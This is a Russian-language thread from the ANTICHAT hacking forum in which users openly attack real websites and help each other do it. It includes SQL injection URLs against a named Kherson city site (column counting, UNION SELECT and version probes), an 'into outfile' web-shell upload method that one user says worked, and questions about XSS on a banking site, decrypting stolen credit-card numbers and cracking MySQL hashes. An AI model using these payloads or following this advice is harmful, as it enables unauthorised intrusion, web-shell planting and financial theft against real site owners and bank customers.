ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Если это убрать то на сервере добавиться ' и всё превратиться в обычный строковый параметр, так что надо собственно ; убирать


Ну это особо неважно, просто наблюдение. Вот где я застопорился серьёзно:
www.city.kherson.ua/index.php?id=2351

берём кол-во параметров в select'e:
www.city.kherson.ua/index.php?id=2351'group+by+15+/*
аж 15.. извращённый запрос

www.city.kherson.ua/index.php?id=2351'+UNION+SELECT+NULL,NULL,NULL,NUL L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL L,NULL+/*

пусто. Не подскажите ? Может сильно старая версия скуля ?

сабж такой..есть доступ в админку и вордпресс...вопрос знатокам....как залить шелл?
через админку нереально...все файлы переделывает в 3аd4r6f3gf5 и тому подобное...

2 unit171
Там третий мускул.UNION'а нет
_http://www.city.kherson.ua/index.php?id=2351'+and+substring(version(),1,1)=3/*
А по поводу ; и -- я тебе тоже свои наблюдения высказавал.Возьми любую скуль и попробуй

Ситуация, получил я рута пасс через скулю,расшифровал хэш, в пхп майадмин залез (еле нашёл через гугол, руками на сайте хрен найдёшь )
Версия phpMyAdmin 2.11.2 setup.
КАк залить шелл через неё? Директории на сервере я не знаю, точнее пути. И каким видом их вписывать? В общем растолкуйте плз. Заранее спасибо.
З.Ы. Извините за тупость, я ещё только учусь

Везёт же людям гг)

Imperou$, выполни запрос к БД union select '<?tvoy_minishell?>' into outfile 'polniy_put'_do_faila'

Всем спасибо, разобрался Шелл залит, vrotmnenogi.php
Дико благодарен ачату, спасибо за советы и поддержку!

1.Хы,нашёл тут тоже пару xss-ок уже на другом банковском сайте Ж)).Вот думаю,париться или нет - там не дебилы всё же сидят и поймут гг,если просто применить тупо urlencoding.Можно ещё применить какой-либо метод кодирования ? Ибо со скулей ничего не вышло - 4-ая версия(ошибка в mysql_array,выводит только её,и хрен поймёшь,подобрал я имя таблицы правильно или нет).Сайт вообще какая-то дизайнерская студия разрабатывала =_=.Короче воть)

2. На мой вопрос,что делать с зашифрованными номерами кредиток так и не ответили( Напоминаю,что они 16-и значные =_______=),и расшифровать их мне не удастсо,даже если одни циффры там :Р).

3.А также,финальный мой вопрос из разряда *нупских* - Распишу поподробней:

1.Имеется file_priv на одном сайтеге,все пассы зашифрованы там Ж).Есть открытый порт 3306(ну мускул,превед тебе дарагой).Phpmyadmin там нету.

Собственно, очень нужно знать - как залогиниться в бд, расшифровав хеши с mysql ? Какие средства нужно для этого использывать, ибо шелл не залить не зная полного пути и не имея конфигов(,да и кроме етк папи ниче не нащупал.).

ЗЫ: Жду жду ждуууу атветов с нетерпением(только не глупых))))))))) ).

Велемир,

1. Что ты хочешь сделать с этими хсс? Впарить какому-нить клиенту? Ну впарь, только тебе это в любом случае мало что даст. Про скулю вообще молчу...

(з.ы. банки не хранят данные о своих клиентах в бд на серве, на котором стоит сайт)

2. Забыть или расшифровывать. (в номере кредитки только цифры)

3. Если file_priv = 1, попробуй залить шелл одним из множества способов. Также если у тебя есть доступ к mysql.user, то можно попробовать расшифровать хэш и залогиница в базу, но стоит это делать при условии что доступ разрешен не только localhost, а это бывает достаточно редко